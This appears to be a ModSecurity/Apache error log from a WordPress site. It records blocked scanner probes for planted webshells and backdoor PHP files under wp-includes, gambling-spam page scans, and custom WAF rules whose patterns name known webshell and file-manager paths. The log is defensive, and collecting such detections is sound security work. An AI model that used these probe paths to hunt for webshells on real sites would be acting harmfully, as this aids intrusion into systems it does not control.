[Fri Feb 27 04:29:37.225830 2026] [:error] [pid 5365:tid 5375] [client 185.198.240.150:30571] [client 185.198.240.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aaCtMZYAa8J3tYxdG3z1awAAAQg"]
[Fri Feb 27 04:29:38.022896 2026] [:error] [pid 5365:tid 5372] [client 185.198.240.144:32499] [client 185.198.240.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaCtMpYAa8J3tYxdG3z1hwAAAQU"]
[Fri Feb 27 04:29:39.237570 2026] [:error] [pid 5365:tid 5388] [client 185.198.240.150:36991] [client 185.198.240.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aaCtM5YAa8J3tYxdG3z1uQAAARU"]
[Fri Feb 27 04:29:40.313435 2026] [:error] [pid 3974:tid 4042] [client 185.198.240.139:52425] [client 185.198.240.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aaCtNHp-fQtdOYjkuFvRAAAAAEU"]
[Fri Feb 27 04:29:41.741925 2026] [:error] [pid 5365:tid 5374] [client 173.239.214.18:46821] [client 173.239.214.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaCtNZYAa8J3tYxdG3z2DgAAAQc"]
[Fri Feb 27 04:29:43.269313 2026] [:error] [pid 3974:tid 4058] [client 173.239.214.26:21993] [client 173.239.214.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaCtN3p-fQtdOYjkuFvRSQAAAFU"]
[Fri Feb 27 04:29:44.018298 2026] [:error] [pid 21329:tid 21399] [client 45.131.195.210:27661] [client 45.131.195.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aaCtOJvQWnde-MjcQ1FIywAAAVA"]
[Fri Feb 27 04:29:49.146734 2026] [:error] [pid 4081:tid 4101] [client 185.198.240.154:33407] [client 185.198.240.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aaCtPQ55mnr35z8h7t3UdQAAANI"]
[Fri Feb 27 04:29:49.681531 2026] [:error] [pid 5365:tid 5373] [client 185.198.240.135:45091] [client 185.198.240.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaCtPZYAa8J3tYxdG3z3bQAAAQY"]
[Fri Feb 27 04:29:50.176797 2026] [:error] [pid 21329:tid 21393] [client 173.239.214.7:24779] [client 173.239.214.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.7, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aaCtPpvQWnde-MjcQ1FJSwAAAUo"]
[Fri Feb 27 04:29:50.744497 2026] [:error] [pid 21329:tid 21386] [client 173.239.214.7:24779] [client 173.239.214.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aaCtPpvQWnde-MjcQ1FJXQAAAUM"]
[Fri Feb 27 04:29:51.782261 2026] [:error] [pid 3974:tid 4049] [client 185.198.240.143:47415] [client 185.198.240.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaCtP3p-fQtdOYjkuFvR3AAAAEw"]
[Fri Feb 27 04:29:52.287423 2026] [:error] [pid 4081:tid 4089] [client 45.131.195.208:30287] [client 45.131.195.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aaCtQA55mnr35z8h7t3UjAAAAMY"]
[Fri Feb 27 04:29:53.931660 2026] [:error] [pid 3973:tid 4005] [client 173.239.214.18:42259] [client 173.239.214.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaCtQYJZsftwqmUaaLPx3gAAABY"]
[Fri Feb 27 04:29:54.445506 2026] [:error] [pid 3975:tid 4014] [client 209.87.169.175:51705] [client 209.87.169.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aaCtQhMVp0-T2hD76b21HQAAAIQ"]
[Fri Feb 27 04:30:05.421760 2026] [:error] [pid 21329:tid 21400] [client 173.239.214.18:50019] [client 173.239.214.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aaCtTZvQWnde-MjcQ1FK-AAAAVE"]
[Fri Feb 27 04:30:06.546457 2026] [proxy_fcgi:error] [pid 3975:tid 4016] [client 173.239.214.24:60855] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:07.105945 2026] [:error] [pid 3975:tid 4028] [client 173.239.214.24:60855] [client 173.239.214.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aaCtTxMVp0-T2hD76b22JAAAAJI"]
[Fri Feb 27 04:30:07.621503 2026] [:error] [pid 3973:tid 3995] [client 173.239.214.17:44789] [client 173.239.214.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aaCtT4JZsftwqmUaaLPygAAAAAw"]
[Fri Feb 27 04:30:08.709685 2026] [:error] [pid 3973:tid 3996] [client 173.239.214.17:33201] [client 173.239.214.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaCtUIJZsftwqmUaaLPyqAAAAA0"]
[Fri Feb 27 04:30:09.245550 2026] [:error] [pid 3975:tid 4011] [client 185.198.240.153:48545] [client 185.198.240.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aaCtURMVp0-T2hD76b22UwAAAIE"]
[Fri Feb 27 04:30:11.919635 2026] [:error] [pid 3975:tid 4036] [client 173.239.214.2:61331] [client 173.239.214.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aaCtUxMVp0-T2hD76b22rAAAAJc"]
[Fri Feb 27 04:30:12.525816 2026] [:error] [pid 3974:tid 4058] [client 173.239.214.13:44755] [client 173.239.214.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aaCtVHp-fQtdOYjkuFvT8wAAAFU"]
[Fri Feb 27 04:30:14.195116 2026] [:error] [pid 21329:tid 21389] [client 173.239.214.16:55817] [client 173.239.214.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aaCtVpvQWnde-MjcQ1FL1gAAAUY"]
[Fri Feb 27 04:30:14.697157 2026] [:error] [pid 4081:tid 4093] [client 45.131.195.210:54855] [client 45.131.195.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaCtVg55mnr35z8h7t3WGQAAAMo"]
[Fri Feb 27 04:30:15.174708 2026] [:error] [pid 5365:tid 5387] [client 173.239.214.28:50931] [client 173.239.214.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaCtV5YAa8J3tYxdG3z6DQAAARQ"]
[Fri Feb 27 05:25:27.242904 2026] [:error] [pid 3974:tid 4056] [client 91.137.27.140:24333] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aaC6R3p-fQtdOYjkuFvezgAAAFM"]
[Fri Feb 27 05:25:29.553957 2026] [:error] [pid 21329:tid 21384] [client 91.137.27.140:12135] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aaC6SZvQWnde-MjcQ1FfMwAAAUE"]
[Fri Feb 27 05:25:32.100032 2026] [:error] [pid 5365:tid 5378] [client 91.137.27.140:17052] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aaC6TJYAa8J3tYxdG3w46wAAAQs"]
[Fri Feb 27 05:25:34.364501 2026] [:error] [pid 4081:tid 4102] [client 91.137.27.140:40415] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aaC6Tg55mnr35z8h7t3kHQAAANM"]
[Fri Feb 27 05:25:36.781529 2026] [:error] [pid 42563:tid 42594] [client 91.137.27.140:38672] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aaC6UHKL5BclZy73IRHGYwAAAdg"]
[Fri Feb 27 05:25:39.217979 2026] [:error] [pid 3973:tid 3999] [client 91.137.27.140:17638] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aaC6U4JZsftwqmUaaLP8MgAAABA"]
[Fri Feb 27 05:25:41.616128 2026] [:error] [pid 4081:tid 4101] [client 91.137.27.140:29081] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aaC6VQ55mnr35z8h7t3kJgAAANI"]
[Fri Feb 27 05:25:44.047746 2026] [:error] [pid 5365:tid 5379] [client 91.137.27.140:64804] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaC6WJYAa8J3tYxdG3w4_AAAAQw"]
[Fri Feb 27 05:25:46.483229 2026] [:error] [pid 5365:tid 5389] [client 91.137.27.140:58071] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaC6WpYAa8J3tYxdG3w5CQAAARY"]
[Fri Feb 27 05:25:49.024260 2026] [:error] [pid 21329:tid 21383] [client 91.137.27.140:51579] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaC6XZvQWnde-MjcQ1FfQgAAAUA"]
[Fri Feb 27 05:25:51.616321 2026] [:error] [pid 42563:tid 42577] [client 91.137.27.140:46420] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaC6X3KL5BclZy73IRHGgwAAAcg"]
[Fri Feb 27 05:25:54.033278 2026] [:error] [pid 5365:tid 5391] [client 91.137.27.140:11196] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaC6YpYAa8J3tYxdG3w5HQAAARg"]
[Fri Feb 27 05:25:56.310365 2026] [:error] [pid 4081:tid 4102] [client 91.137.27.140:64275] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aaC6ZA55mnr35z8h7t3kXAAAANM"]
[Fri Feb 27 05:25:58.748278 2026] [:error] [pid 21329:tid 21386] [client 91.137.27.140:19047] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaC6ZpvQWnde-MjcQ1FfRwAAAUM"]
[Fri Feb 27 05:26:01.150065 2026] [:error] [pid 5365:tid 5373] [client 91.137.27.140:52036] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aaC6aZYAa8J3tYxdG3w5MwAAAQY"]
[Fri Feb 27 05:26:03.521534 2026] [:error] [pid 5365:tid 5379] [client 91.137.27.140:34082] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aaC6a5YAa8J3tYxdG3w5QAAAAQw"]
[Fri Feb 27 05:26:05.933113 2026] [:error] [pid 5365:tid 5372] [client 91.137.27.140:7019] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aaC6bZYAa8J3tYxdG3w5UwAAAQU"]
[Fri Feb 27 05:26:08.474521 2026] [:error] [pid 42658:tid 42665] [client 91.137.27.140:27662] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aaC6cIzcoYl3nRbu1jZrfAAAAgU"]
[Fri Feb 27 05:26:10.840977 2026] [:error] [pid 5365:tid 5387] [client 91.137.27.140:45516] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaC6cpYAa8J3tYxdG3w5fAAAARQ"]
[Fri Feb 27 05:26:13.402672 2026] [:error] [pid 42658:tid 42672] [client 91.137.27.140:19093] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aaC6dYzcoYl3nRbu1jZrggAAAgw"]
[Fri Feb 27 05:26:15.787525 2026] [:error] [pid 21329:tid 21398] [client 91.137.27.140:50906] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aaC6d5vQWnde-MjcQ1FfVAAAAU8"]
[Fri Feb 27 05:26:18.187773 2026] [:error] [pid 42563:tid 42585] [client 91.137.27.140:5282] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aaC6enKL5BclZy73IRHGmgAAAc8"]
[Fri Feb 27 05:26:20.581656 2026] [:error] [pid 42658:tid 42670] [client 91.137.27.140:38546] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aaC6fIzcoYl3nRbu1jZrjAAAAgo"]
[Fri Feb 27 05:26:23.099652 2026] [:error] [pid 42435:tid 42457] [client 91.137.27.140:12481] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aaC6fx5hHLnaukp_y9-MDAAAAZE"]
[Fri Feb 27 05:26:43.784353 2026] [:error] [pid 42658:tid 42668] [client 91.137.27.140:15636] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaC6k4zcoYl3nRbu1jZruwAAAgg"]
[Fri Feb 27 05:26:46.271622 2026] [:error] [pid 5365:tid 5386] [client 91.137.27.140:43866] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aaC6lpYAa8J3tYxdG3w6PgAAARM"]
[Fri Feb 27 05:26:48.757553 2026] [:error] [pid 42435:tid 42457] [client 91.137.27.140:47097] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaC6mB5hHLnaukp_y9-MHQAAAZE"]
